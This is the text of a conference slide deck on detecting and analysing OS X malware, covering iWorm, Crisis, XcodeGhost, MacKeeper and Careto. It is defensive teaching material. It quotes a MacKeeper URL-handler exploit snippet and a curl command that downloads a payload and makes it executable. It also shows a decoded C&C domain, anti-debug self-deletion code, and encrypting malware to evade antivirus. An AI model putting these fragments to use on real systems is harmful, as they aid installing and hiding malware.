Let’s Play Doctor
Practical OS X Malware Detection & Analysis

Patrick Wardle
Director of Research at Synack
@patrickwardle
“leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, IoT devices and infrastructure endpoints”
OUTLINE
steps to a happier, healthier 2016

outbreaks  →  virology

health & happiness

diagnostics  →  analysis

thanks & credit
@thomasareed
@claud_xiao
@osxreverser
PART 0x1: OUTBREAKS
overview of recent OS X malware specimens
MALWARE ON OS X
yes; it exists and is getting more prevalent

"It doesn’t get PC viruses. A Mac isn’t susceptible to the thousands of viruses plaguing Windows-based computers.” -apple.com (2012)

2014: "nearly 1000 unique attacks on Macs; 25 major families" -kaspersky

2015: "The most prolific year in history for OS X malware...5x more OS X malware appeared in 2015 than during the previous five years combined" -bit9

2015: OS X most vulnerable software by CVE count -cve details
OS X/iWORM
‘s standard’ backdoor, providing survey, download/execute, etc.

<table>
<thead>
<tr>
<th>Type</th>
<th>Name (Order by: Uploaded, Size, JLed by, SE, LE)</th>
</tr>
</thead>
</table>
| Applications (Mac) | Adobe Photoshop CS6 for Mac OSX  
                      | Uploaded 07-26 23:11, Size 988.02 MiB, ULed by acemporg                   |
| Applications (Mac) | Parallels Desktop 9 Mac OSX  
                      | Uploaded 07-31 00:19, Size 418.43 MiB, ULed by acemporg                  |
| Applications (Mac) | Microsoft Office 2011 Mac OSX  
                      | Uploaded 07-20 19:04, Size 910.84 MiB, ULed by acemporg                  |
| Applications (Mac) | Adobe Photoshop CS6 Mac OSX  
                      | Uploaded 07-26 23:18, Size 988.02 MiB, ULed by acemporg                  |

infected torrents

computer monitoring

# fs_usage -w -f filesys
20:28:28.727890 write B=0x16b

launch daemon plist

Persisting

launch daemon

survey

download

execute

RSAConferene2016
OS X/Crisis (RCSMAC)
hackingteam's implant; collect all things!

persistence (leaked source code)

launch agent  \( \sqrt{x} \)  rootkit component

intelligence collection

"HackingTeam Reborn; Analysis of an RCS Implant Installer"
OS X/XCODEGHOST
application infector

```
$ less Xcode.app/Contents/PlugIns/Xcode3Core.ideplugin/Contents/SharedSupport/Developer/Library/Xcode/Plug-ins/CoreBuildTasks.xcplugin/Contents/Resources/Ld.xcspec
...
Name = ALL_OTHER_LDFLAGS;
DefaultValue = "$(LD_FLAGS) $(SECTORORDER_FLAGS) $(OTHER_LDFLAGS) $(OTHER_LDFLAGS_$(variant)) $(OTHER_LDFLAGS_$(arch)) $(OTHER_LDFLAGS_$(variant)_$(arch)) $(PRODUCT_SPECIFIC_LDFLAGS)
-force_load $(PLATFORM_DEVELOPER_SDK_DIR)/Library/Frameworks/CoreServices.framework/CoreServices"
```
OS X/GENIEO (INKEEPR)
most prolific OS X adware

fake installers

bundled with apps

browser extension(s)

ADS
"[a flaw in MacKeeper's URL handler implementation allows arbitrary remote code execution when a user visits a specially crafted webpage" - bae systems

```html
<script>
    window.location.href = 'com-zeobit-command:///i/ZBAppController/performActionWithHelperTask: arguments:/' + BASE_64_ENCODED_STUB + ');
    ...
</script>
```

```sh
curl -A 'Safari' -o /Users/Shared/dufh
http://<redacted>/123/test/qapucin/bieber/210410/cormac.mcr;
chmod 755 /Users/Shared/dufh;
```
OS X/CARETO ('MAsk')
‘cyber-espionage backdoor’

| lea   | rdi, encodedServer ; "\16d\n~\1AcM!"... |
| mov   | rsi, decodedServer |
| call  | __Dcd |

... |

| mov   | rdi, decodedServer |
| mov   | esi, cs:_port |
| call  | _sbd_connect |

$ lldb OSX_Careto
(lldb) target create "OSX_Careto"
Current executable set to 'OSX_Careto' (x86_64).

(lldb) b _Dcd
Breakpoint 1: where = OSX_Careto`_Dcd,

... |

$ (lldb) x/s decodedServer
0x100102b40: "itunes212.appleupdt.com"

launch agent

[~/Library/LaunchAgents/com.apple.launchport.plist]

disassembly

encoded strings

debugging (decoding C&C)

phishing/exploits

encoded strings
PART 0x2: Virology

study of os x malware characteristics & commonalities
INFECTION VECTORS
method 0x1: via user-interaction

- rogue "AV" products
- fake codecs
- poor naive users
- fake installers/updates
- infected torrents
"interested in buying zero-day vulnerabilities with RCE exploits for the latest versions of ...Safari? ...exploits allow to embed and remote execute custom payloads and demonstrate modern [exploitation] techniques on OS X"

-V. Toropov (email to hackingteam)
PERSISTENCE
many options, few used

1. launch daemons & agents

2. user login items

3. browser extensions & plugins

~20 techniques

[RSA 2015]
"Malware Persistence on OS X"

PDF
FEATURES

dependent on the goals of the malware

[ criminal ]
- ads
- clicks
- money

[ espionage ]
- keylogs
- surveys
- downloads
- exec's
- shell
- video
- audio
SUMMARY
the current state of OS X malware

- infection
  - trojans/phishing
  - some exploits

- persistence
  - well known methods
  - majority: launch items

- self-defense
  - minimal obfuscation
  - trivial to detect/remove

- stealth
  - 'hide' in plain site
  - rootkits? not common

- features
  - poorly implemented
  - suffice for the job

- psp bypass
  - occasional anti-AV
  - no psp detection
PART 0x3: DIAGNOSTICS
are you possibly infected?
VISUALLY OBSERVABLE INDICATORS
more often than not, you're not infected...

unlikely malware

possibly malware

"my computer is so slow"

"it keeps crashing"

"so many processes"

"there are tons of popups"

"my homepage and search engine are weird"

"my computer says its infected"

most not trivially observable!
**Visually Observable Indicators**
generic alerts may indicate the presence of malware

- **osxMalware**
  - installed a launch daemon or agent
  - **process id:** 74890
  - **process path:** `/Users/patrick/Downloads/osxMalware.app/Contents/MacOS/osxMalware`

- **com.malware.persist.plist**
  - **startup file:** `/Users/patrick/Library/LaunchAgents/com.malware.persist.plist`
  - **startup binary:** `/usr/bin/malware.bin`

**persistence** *(BlockBlock)*

**malware**
- wants to connect to `www.[redacted].com` on port 80 (http)

- **Until Quit**
  - *Any Connection*
  - *Only port 80 (http)*
  - *Only www.[redacted].com*
  - *Only www.[redacted].com and port 80 (http)*

**network access** *(LittleSnitch)*

**note:** such tools do not attempt to directly detect malware per-se...
**Step 0x1: Known Malware**

*any known malware running on your system?*

TaskExplorer (+virus total integration)

VT ratios
STEP 0x2: SUSPICIOUS PROCESSES
any unrecognized binaries running on your system?

“global search” for:

unsigned + unrecognized (by VT) + "apple"

unsigned tasks

3rd-party tasks
**STEP 0x3: SUSPICIOUS PERSISTENCE**

any unrecognized binaries persisting on your system?

KnockKnock; enum. persistence

a suspicious launch item

unrecognized (by VT) + unsigned + "apple"

suspicious!
STEP 0x4: NETWORK I/O
odd ports or unrecognized connections?

or 'established' for connected sessions

listening

127.0.0.1:6258 (connection, in: 1Password mini)
listening

0.0.0.0:32139 (connection, in: JavaW)
listening

iWorm ('JavaW') listening for attacker connection

# sudo lsof -i | grep ESTABLISHED

<table>
<thead>
<tr>
<th>Command</th>
<th>PID</th>
<th>User</th>
<th>Type</th>
<th>Local Address</th>
<th>Remote Address</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>apsd</td>
<td>75</td>
<td>root</td>
<td>TCP</td>
<td>172.16.44.128:49508-&gt;17.143.164.32:5223</td>
<td>(ESTABLISHED)</td>
<td></td>
</tr>
<tr>
<td>apsd</td>
<td>75</td>
<td>root</td>
<td>TCP</td>
<td>172.16.44.128:49508-&gt;17.143.164.32:5223</td>
<td>(ESTABLISHED)</td>
<td></td>
</tr>
<tr>
<td>com.apple</td>
<td>1168</td>
<td>user</td>
<td>TCP</td>
<td>172.16.44.128:49511-&gt;bd044252.virtua.com.br:https</td>
<td>(ESTABLISHED)</td>
<td></td>
</tr>
<tr>
<td>JavaW</td>
<td>1184</td>
<td>root</td>
<td>TCP</td>
<td>172.16.44.128:49532-&gt;188.167.254.92:51667</td>
<td>(ESTABLISHED)</td>
<td></td>
</tr>
</tbody>
</table>

iWorm connected to c&c server
STEP 0x5: SUSPICIOUS KEXTS, HIJACKED DYLIBS, ETC.
countless other things to look for....

any suspicious kernel extensions?

uncheck ‘Show OS Kexts’

hijacked dylibs?

[DefCon 2015]
"DLL Hijacking on OS X? #@%& Yeah!"
PART 0x4: ANALYSIS
determine if something is malicious....or not!?
CODE-SIGNING
examine the binary’s code signature

libtidy dylib flagged by VT

use codesign to display a binary’s signing info
ex: $ codesign -dvv <file>

libtidy is signed by apple proper

signed by apple: not malware!

most malware; unsigned
Google the hash may (quickly) tell you; known good || known bad

$ md5 appleUpdater
MD5 (appleUpdater) = 2b30e1f13a648cc40c1abb1148cf5088

unknown hash ....might be odd

known hash (OSX/Careto)

- 3rd-party binaries, may produce zero hits on google
- 0% detection on virustotal doesn’t mean 100% not malware
quickly triage a binary’s functionality

strings -a OSX_Careto

reverse lookup of %s failed: %s
bind(): %s
connecting to %s (%s) [%s] on port %u
executing: %s

strings -a JavaW

$Info: This file is packed with the UPX executable packer
$Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team.

strings; osx/careto

use with the -a flag

encoded strings

strings; iWorm

networking & exec logic

packed (UPX)

google interesting strings
OS X natively support encrypted binaries

The file is encrypted. The disassembly of it will likely be useless. Do you want to continue?

encrypted with Blowfish

ourhardworkbythesewordsguardedplease
dontsteal(c)AppleC

known malware:
~50% drop VT detection

disassembling Finder.app

encrypting the malware

Now, let's look at the malware being encrypted with Blowfish:

```
$ strings -a myMalware
infectUser:
ALOHARSA!

$ ./protect myMalware
encrypted 'myMalware'

$ strings -a myMalware
n^jd[P5{Q
r_`EYFaJq07
```
FILE ATTRIBUTES
detecting encrypted binaries

```c
//check all load commands
for(int i = 0; i<[machoHeader[LOAD_CMDS] count]; i++)
{
    //grab load command
    loadCommand = [machoHeader[LOAD_CMDS] pointerAtIndex:i];

    //check text segment
    if(0 == strncmp(loadCommand->segname, SEG_TEXT, sizeof(loadCommand->segname)))
    {
        //check if segment is protected
        if(SG_PROTECTED_VERSION_1 == (loadCommand->flags & SG_PROTECTED_VERSION_1))
        {
            //FILE IS ENCRYPTED
        }
    }
```

TaskExplorer

detecting encryption

unsigned + encrypted
malware is often packed to 'hinder' detection/analysis

```
$ strings -a JavaW
Info: This file is packed with the UPX executable packer http://upx.sf.net
Id: UPX 3.09 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved.
```

```
//count all occurrences
for (NSUInteger i = 0; i < length; i++)
    occurrences[0xFF & (int)data[i]]++;

//calc entropy
for (NSUInteger i = 0;
    i < sizeof(occurrences)/sizeof(occurrences[0]); i++)
{
    //add occurrences to entropy
    if (0 != occurrences[i])
    {
        //calc ratio
        pX = occurrences[i]/(float)length;

        //cumulative entropy
        entropy -= pX*log2(pX);
    }
}
```

generic packer detection algorithm
CLASSDUMP
extract class names, methods, & more...

$ class-dump RCSMac.app
@interface __m_MCore : NSObject
{
  NSString *mBinaryName;
  NSString *mSpoofedName;
}
- (BOOL)getRootThroughSLI;
- (BOOL)isCrisisHookApp:(id)arg1;
- (BOOL)makeBackdoorResident;
- (void)renameBackdoorAndRelaunch;
@end

rcsmac (osx/crisis)

$ class-dump Installer.app
@interface ICDownloader : NSObject <NSURLConnectionDelegate>
{
  NSURL *_URL;
  NSString *_destPath;
  long long _httpStatusCode;
  NSString *_suggestedName;
}
- (void)startDownloading;
@end

@interface NSURL (ICEncryptedFileURLProtocol)
+ (id)fileURLWithURL:(id)arg1;
+ (id)encryptedFileURLWithURL:(id)arg1;
@end

adware installer (InstallCore)

http://stevenygard.com/projects/class-dump/
$ man fs_usage
FS_USAGE(1) BSD General Commands Manual

fs_usage -- report system calls and page faults related to filesystem activity in real-time

# fs_usage -w -f filesystem
open /Users/user/Library/LaunchAgents/com.apple.updater.plist
write F=2 B=0x4a
open F=5 /Users/Shared/dufh
... chmod <rwxr-xr-x> /Users/Shared/dufh
unlink ./mackeeperExploiter

persistence as launch agent
(com.apple.updater.plist)

installation (/Users/Shared/dufh)

self deletion, cleanup

file i/o (mackeeper exploiter)
NETWORK I/O

gain insight into the binary's network communications

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td>2.173693</td>
<td>192.168.1.118</td>
<td>8.8.8.8</td>
<td>DNS</td>
<td>83</td>
<td>Standard query 0x4d97 A itunes212.appleupdt.com</td>
</tr>
<tr>
<td>73</td>
<td>32.453187</td>
<td>8.8.8.8</td>
<td>192.168.1.118</td>
<td>DNS</td>
<td>83</td>
<td>Standard query response 0x4d97 Server failure A itunes212.appleupdt.com</td>
</tr>
<tr>
<td>74</td>
<td>32.453312</td>
<td>8.8.8.8</td>
<td>192.168.1.118</td>
<td>ICMP</td>
<td>70</td>
<td>Destination unreachable (Port unreachable)</td>
</tr>
</tbody>
</table>

odds dns queries

periodic beacons

(custom) encrypted traffic

note: C&C is (now) offline

"itunes212.appleupdt.com"
VirusTotal Sandbox
file i/o + network i/o, and more!

file i/o (iWorm)

network i/o (iWorm)

"VirusTotal += Mac OS X execution"

blog.virustotal.com/2015/11/virustotal-mac-os-x-execution.html
Reversing Objective-C

understand

connectedToInternet(void) proc near

mov rdi, cs::OBJC_CLASS_$_NSURL
mov rsi, cs::NSURLWithString; "URLWithString:"
lea rdx, cfstr_google; "www.google.com"
mov rax, cs::objc_msgSend_ptr
call rax; objc_msgSend
...

internet check (mackeeper exploiter)

calling convention (system v amd64 abi)

<table>
<thead>
<tr>
<th>arg</th>
<th>name</th>
<th>(for) objc_msgSend</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>RDI</td>
<td>class</td>
</tr>
<tr>
<td>1</td>
<td>RSI</td>
<td>method name</td>
</tr>
<tr>
<td>2</td>
<td>RDX</td>
<td>1st argument</td>
</tr>
<tr>
<td>3</td>
<td>RCX</td>
<td>2nd argument</td>
</tr>
<tr>
<td>4</td>
<td>R8</td>
<td>3rd argument</td>
</tr>
<tr>
<td>5</td>
<td>R9</td>
<td>4th argument</td>
</tr>
</tbody>
</table>

objc_msgSend function

Parameters

- **self**: A pointer that points to the instance of the class that is to receive the message.
- **op**: The selector of the method that handles the message.
- **...**: A variable argument list containing the arguments to the method.
int connectedToInternet()
{
    rax = [[NSURL URLWithString:@"http://www.google.com"] retain];
    rdx = rax;
    var_38 = [NSData dataWithContentsOfURL:rdx];
    if (var_38 != 0x0) {
        var_1 = 0x1;
    } else {
        var_1 = 0x0;
    }
    rax = var_1 & 0x1 & 0xff;
    return rax;
}

decomposition; internet check (mackeeper exploiter)
DEBUGGING
using lldb; os x’s debugger

$ lldb newMalware
(lldb) target create "/Users/patrick/malware/newMalware"
Current executable set to '/Users/patrick/malware/newMalware' (x86_64).

beginning a debugging session

<table>
<thead>
<tr>
<th>command</th>
<th>description</th>
<th>example</th>
</tr>
</thead>
<tbody>
<tr>
<td>r</td>
<td>launch (run) the process</td>
<td></td>
</tr>
<tr>
<td>b</td>
<td>breakpoint on function</td>
<td>b system</td>
</tr>
<tr>
<td>br s -a &lt;addr&gt;</td>
<td>breakpoint on a memory add</td>
<td>br s -a 0x10001337</td>
</tr>
<tr>
<td>si/ni</td>
<td>step into/step over</td>
<td></td>
</tr>
<tr>
<td>po</td>
<td>print objective-C object</td>
<td>po $rax</td>
</tr>
<tr>
<td>reg read</td>
<td>print all registers</td>
<td></td>
</tr>
</tbody>
</table>

common lldb commands

see: "Gdb to LLDB Command Map"
DEBUGGING DETECTION
os x anti-debugging techniques

"Analyzing the Anti-Analysis Logic, of an Adware Installer"

anti-debug (mackeeper exploiter)

anti-debug pseudo-code

```
//debugger flag
#define P_TRACED 0x00000800

//management info base ('mib')
mib[0] = CTL_KERN;
mib[1] = KERN_PROC;
mib[2] = KERN_PROC_PID;
mib[3] = getpid();

//get process info
sysctl(mib, sizeof(mib)/sizeof(*mib), &info, &size, NULL, 0);

//check flags to determine if debugged
if (P_TRACED == (info.kp_proc.p_flag & P_TRACED))
{
    //process is debugged!
    //self delete
    remove(path2Self);
}
```

process flags (debugged)
ENABLING KERNEL DEBUGGING
for analyzing kernel extensions and rootkit components

1. disable SIP (in recovery mode; ⌘r)

   ![Terminal - bash - 66x17]
   -bash-3.2# csrutil disable
   Successfully disabled System Integrity Protection. Please restart the machine for the changes to take effect.

2. enable debugging

   # nvram boot-args="debug=0x141 pmuflags=1 -v"

3. install appropriate ‘kernel debug kit’

   ![Image of Synack logo]
   - Description
     - Kernel Debug Kit 10.11.1 Build 15B42
     - HTTP Live Streaming Tools

4. start debugger (lldb)

   ![Code block]
   # lldb
   (lldb) target create /Library/Developer/KDKs/KDK_10.11.1_15B42_.kdk/System/Library/Kernels/kernel
   (lldb) kdp-remote <VM IP addr>
   (lldb) image list
   [  0] 37BC582F-8BF4-3F65-AFBB-ECF792060C68 0xffffff8007000000 /Library/Developer/KDKs/KDK_10.11_15A284.kdk/System/Library/Kernels/kernel

5. connect and debug

   ![Code block]
   (lldb) image list
   [  0] 37BC582F-8BF4-3F65-AFBB-ECF792060C68 0xffffff8007000000 /Library/Developer/KDKs/KDK_10.11_15A284.kdk/System/Library/Kernels/kernel

“Kernel Debugging a Virtualized OS X Image”
PART 0x5: HEALTH & HAPPINESS

how do I protect my personal Macs?
"Security & privacy are fundamental to the design of all our hardware, software, and services" - Tim Cook

- "Gatekeeper Exposed" (Shmoocon)
- "Writing Bad@ss OS X Malware" (Blackhat)
- "Attacking the XNU Kernel in El Capitan" (BlackHat)
- "OS X El Capitan-Sinking the S/h\IP"
- "Memory Corruption is for Wussies!" (SysScan)
only 4 launch items
no 'java' processes
fully patched OS X
gatekeeper enabled

**DEMO (GATEKEEPER BYPASS)**
OS X LOCKDOWN
hardens OS X & reduces its attack surface

github.com/SummitRoute/osxlockdown

# ./osxlockdown
[PASSED] Enable Auto Update
[PASSED] Disable Bluetooth
[PASSED] Disable infrared receiver
[PASSED] Disable AirDrop
...
osxlockdown 0.9
Final Score 86%; Pass rate: 26/30

S. Piper (@0xdabbad00)

"built to audit & remediate, security configuration settings on OS X 10.11"
-S. Piper
“if [LittleSnitch] is found, the malware [OSX/DevilRobber.A] will skip installation and proceed to execute the clean software” - fSecure.com

trivial to bypass

yes, stay tuned!

security vulnerabilities?

'snitching
MY PERSONAL SECURITY TOOLS
Objective-See, because "sharing is caring" :)

I should write some OS X security tools to protect my Mac
....and share 'em freely :)

"No one is going to provide you a quality service for nothing. If you’re not paying, you’re the product." -fSecure
SECURITY TOOLS
Objective-See

specimens to play with!
"providing visibility to the core"

TaskExplorer
KnockKnock
BlockBlock
KextViewer
Ostiarius
Lockdown

products malware blog about

Synack
RSAConference2016
CONCLUSIONS

wrapping this all up...
CONCLUSIONS & APPLICATION

- os x malware (iWorm, Crisis, Genieo, etc.)
- generic detection & analysis

scan & protect!

little snitch/firewall

Objective-See

patrick@synack.com
@patrickwardle

'focus on session'
today @ 2:10 PM, west room 2016